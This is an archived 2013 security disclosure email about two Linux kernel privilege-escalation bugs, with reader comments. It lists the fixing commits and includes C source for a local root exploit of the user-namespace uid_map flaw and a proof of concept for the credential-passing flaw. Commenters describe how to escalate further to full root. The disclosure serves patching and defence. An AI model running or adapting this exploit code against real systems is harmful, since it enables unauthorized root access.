|
|
Log in / Subscribe / Register

Output redirection vulnerabilities in recent kernels

From:  Andy Lutomirski <luto-AT-amacapital.net>
To:  linux-kernel-AT-vger.kernel.org, oss-security-AT-lists.openwall.com
Subject:  Multiple Linux setuid output redirection vulnerabilities
Date:  Sun, 28 Apr 2013 19:23:46 -0700
Message-ID:  <CALCETrVLGET46VOL7SWmeCJU9GxDtMoqu-k_DsN8+gU=bLxC-w@mail.gmail.com>
Archive‑link:  Article

Some of the recent -stable patches are (surprise!) security fixes.
These were disclosed on the distros list last week.

CVE-2013-1959: /proc/<pid>/uid_map has multiple incorrect privilege checks

Linux 3.8 and various 3.9 rcs are affected, depending on
configuration.  This gives a root shell.  (Actually, it gives a uid 0
shell with no capabilities, but that's easy to escalate to full root.)

Fixed by:

commit 935d8aabd4331f47a89c3e1daa5779d23cf244ee
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Sun Apr 14 10:06:31 2013 -0700

    Add file_ns_capable() helper function for open-time capability checking

commit 6708075f104c3c9b04b23336bb0366ca30c3931b
Author: Eric W. Biederman <ebiederm@xmission.com>
Date:   Sun Apr 14 13:47:02 2013 -0700

    userns: Don't let unprivileged users trick privileged users into
setting the id_map

commit e3211c120a85b792978bcb4be7b2886df18d27f0
Author: Andy Lutomirski <luto@amacapital.net>
Date:   Sun Apr 14 16:28:19 2013 -0700

    userns: Check uid_map's opener's fsuid, not the current fsuid

All three patches are needed.


There's an exploit at the bottom of this email.  To use it, you need
to supply the program "zerozeroone".  Doing so is left as an exercise
to the reader.  It can be done on stock installs of Fedora and Ubuntu
at least.



CVE-2013-1979: writes to unix sockets capture euid instead of uid

This appears to be a regression in 2.6.36, and the regression was
backported to various older stable series (2.6.35.11 at least).  It is
almost certainly exploitable for root on most distributions, although
the vectors will vary.  The fix is:

commit 83f1b4ba917db5dc5a061a44b3403ddb6e783494
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Fri Apr 19 15:32:32 2013 +0000

    net: fix incorrect credentials passing


I don't have an exploit, but there's a PoC below that demonstrates the issue.



There's another security buglet that probably has extremely low
impact.  It doesn't have (and shouldn't need) a CVE number.  It's
fixed here:

commit 41c21e351e79004dbb4efa4bc14a53a7e0af38c5
Author: Andy Lutomirski <luto@amacapital.net>
Date:   Sun Apr 14 11:44:04 2013 -0700

    userns: Changing any namespace id mappings should require privileges



--- Begin CVE-2013-1959 exploit ---
/* userns_root_sploit.c by */
/* Copyright (c) 2013 Andrew Lutomirski.  All rights reserved. */
/* You may use, modify, and redistribute this code under the GPLv2. */

#define _GNU_SOURCE
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <err.h>
#include <linux/futex.h>
#include <errno.h>
#include <unistd.h>
#include <sys/syscall.h>

#ifndef CLONE_NEWUSER
#define CLONE_NEWUSER 0x10000000
#endif

pid_t parent;
int *ftx;

int childfn()
{
  int fd;
  char buf[128];

  if (syscall(SYS_futex, ftx, FUTEX_WAIT, 0, 0, 0, 0) == -1 &&
      errno != EWOULDBLOCK)
    err(1, "futex");

  sprintf(buf, "/proc/%ld/uid_map", (long)parent);
  fd = open(buf, O_RDWR | O_CLOEXEC);
  if (fd == -1)
    err(1, "open %s", buf);
  if (dup2(fd, 1) != 1)
    err(1, "dup2");

  // Write something like "0 0 1" to stdout with elevated capabilities.
  execl("./zerozeroone", "./zerozeroone");

  return 0;
}

int main(int argc, char **argv)
{
  int dummy, status;
  pid_t child;

  if (argc < 2) {
    printf("usage: userns_root_sploit COMMAND ARGS...\n\n"
           "This will run a command as (global) uid 0 but no capabilities.\n");
    return 1;
  }

  ftx = mmap(0, sizeof(int), PROT_READ | PROT_WRITE,
             MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  if (ftx == MAP_FAILED)
    err(1, "mmap");

  parent = getpid();

  if (signal(SIGCHLD, SIG_DFL) != 0)
    err(1, "signal");

  child = fork();
  if (child == -1)
    err(1, "fork");
  if (child == 0)
    return childfn();

  *ftx = 1;
  if (syscall(SYS_futex, ftx, FUTEX_WAKE, 1, 0, 0, 0) != 0)
    err(1, "futex");

  if (unshare(CLONE_NEWUSER) != 0)
    err(1, "unshare(CLONE_NEWUSER)");

  if (wait(&status) != child)
    err(1, "wait");
  if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
    errx(1, "child failed");

  if (setresuid(0, 0, 0) != 0)
    err(1, "setresuid");
  execvp(argv[1], argv+1);
  err(1, argv[1]);

  return 0;
}
--- End CVE-2013-1959 exploit ---

--- Begin CVE-2013-1979 PoC ---
/* socket_problem.c - PoC for an SCM_CREDENTIALS issue
 *
 * Actually exploiting something is left as an exercise for the reader.
 *
 * Copyright (c) 2013 Andrew Lutomirski.  All rights reserved.
 * You may use, modify, and redistribute this code under the GPLv2.
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <string.h>
#include <err.h>
#include <unistd.h>

int child(int fd)
{
  if (dup2(fd, 2) != 2)
    err(1, "dup2");
  execlp("su", "evil payload\n", "-U", "nonexistentuser", NULL);
  err(1, "execlp");
  return 1;
}

int main()
{
  printf("[PoC for an SCM_CREDENTIALS issue]\n");
  int sockets[2];
  if (socketpair(AF_UNIX, SOCK_SEQPACKET, 0, sockets) != 0)
    err(1, "socketpair");

  int one = 1;
  if (setsockopt(sockets[0], SOL_SOCKET, SO_PASSCRED, &one, sizeof(one)) != 0)
    err(1, "SO_PASSCRED");

  if (fork() == 0)
    return child(sockets[1]);

  char buf[4097];
  char cbuf[CMSG_SPACE(sizeof(struct ucred))];
  struct iovec iov;
  iov.iov_base = &buf;
  iov.iov_len = sizeof(buf);
  struct msghdr hdr;
  memset(&hdr, 0, sizeof(hdr));
  hdr.msg_iov = &iov;
  hdr.msg_iovlen = 1;
  hdr.msg_control = cbuf;
  hdr.msg_controllen = sizeof(cbuf);
  ssize_t bytes = recvmsg(sockets[0], &hdr, 0);
  if (bytes < 0)
    err(1, "recvmsg");

  printf("Received %ld bytes\n", (long)bytes);

  for (struct cmsghdr *cmsg = CMSG_FIRSTHDR(&hdr); cmsg; cmsg =
CMSG_NXTHDR(&hdr, cmsg)) {
    if (cmsg->cmsg_level == SOL_SOCKET &&
        cmsg->cmsg_type == SCM_CREDENTIALS) {
      struct ucred *cred = (struct ucred *)CMSG_DATA(cmsg);
      printf("SCM_CREDENTIALS: uid=%ld, gid=%ld, pid=%ld\n",
             (long)cred->uid, (long)cred->gid, (long)cred->pid);
    }
  }

  buf[bytes] = 0;
  printf("Payload: %s\n[PoC exiting]\n", buf);
  return 0;
}
--- End CVE-2013-1979 PoC ---
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/



to post comments

Output redirection vulnerabilities in recent kernels

Posted Apr 29, 2013 16:03 UTC (Mon) by luto (subscriber, #39314) [Link] (1 responses)

The exploit code is intentionally incomplete, though.

Output redirection vulnerabilities in recent kernels

Posted Apr 30, 2013 1:49 UTC (Tue) by luto (subscriber, #39314) [Link]

It also contains a really dumb bug: the FUTEX_WAKE and the unshare call are reversed. The version I posted only works if it wins the race. D'oh!

Output redirection vulnerabilities in recent kernels

Posted Apr 29, 2013 22:13 UTC (Mon) by jonabbey (guest, #2736) [Link] (2 responses)

Why is it easy to escalate a no-capabilities uid 0 shell to full root?

Output redirection vulnerabilities in recent kernels

Posted Apr 30, 2013 1:46 UTC (Tue) by luto (subscriber, #39314) [Link] (1 responses)

The simplest way is probably to set some random program setuid-root and then run it from outside the namespace. Less invasive but more complicated ways involve abusing SCM_CREDENTIALS.

Output redirection vulnerabilities in recent kernels

Posted Apr 30, 2013 5:01 UTC (Tue) by tbleher (guest, #48307) [Link]

Remember also that a no-capabilities uid 0 shell can still write all files owned by uid 0. This is pretty much every system file. So if any of /bin, /etc, /lib, etc. is reachable, you've lost.

Output redirection vulnerabilities in recent kernels

Posted Apr 30, 2013 11:34 UTC (Tue) by nix (subscriber, #2304) [Link] (4 responses)

83f1b4ba917db5dc5a061a44b3403ddb6e783494 doesn't appear to have landed in any stable trees yet (bar 3.9, which nobody wanting a stable system will have gone to yet), and is the only one of these holes that exists on normal kernels without userns. Joy. (Sure, it's easy to cherry-pick it ourselves, but when even Linus ignores the stable trees with security-important fixes... sigh.)

Output redirection vulnerabilities in recent kernels

Posted Apr 30, 2013 21:22 UTC (Tue) by spender (guest, #23067) [Link] (1 responses)

That's funny -- both the PaX Team and I independently spotted this as a silent vulnerability fix pretty close to commit time and backported it about two weeks ago.

The irony of you lamenting a system you've been a supporter and apologist for is too rich.

-Brad

Output redirection vulnerabilities in recent kernels

Posted May 9, 2013 17:32 UTC (Thu) by nix (subscriber, #2304) [Link]

Oh I'm sorry. I shall at once cease to try to look for faults in systems which I consider largely to be working.

You are searching for hypocrisy and irony so hard that you are ignoring the possibility that I might consider other things (like, say, ethics, or correctness) to be more important.

Output redirection vulnerabilities in recent kernels

Posted May 2, 2013 14:17 UTC (Thu) by hmh (subscriber, #3838) [Link] (1 responses)

For the record, the fix shipped on 3.8.11 (2013-05-01).

Output redirection vulnerabilities in recent kernels

Posted May 9, 2013 17:32 UTC (Thu) by nix (subscriber, #2304) [Link]

Yeah, I thought it might. I guess the delay was the usual few days for does-it-compile-for-reviewers testing :)

Output redirection vulnerabilities in recent kernels

Posted May 1, 2013 11:58 UTC (Wed) by heijo (guest, #88363) [Link] (1 responses)

Lol, why was this piece of shit userns code with more holes than Swiss cheese allowed in the kernel?

Did someone stick it in while Linus was sleeping?

How about at least making it depend on a new BROKEN_INSECURE_SHIT config option or something like that?

Output redirection vulnerabilities in recent kernels

Posted May 3, 2013 12:39 UTC (Fri) by MarkR42 (guest, #76658) [Link]

It was included in the kernel because it might be useful in the future for containers etc.

Yes, it is looking a bit like a swiss cheese, and any distributor which ships this feature would be wise to disable it by default (e.g. with a sysctl, which they'll need to patch in).

The feature is not yet widely used. But one day Chromium may use it, which will change that.


Copyright © 2013, Eklektix, Inc.
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds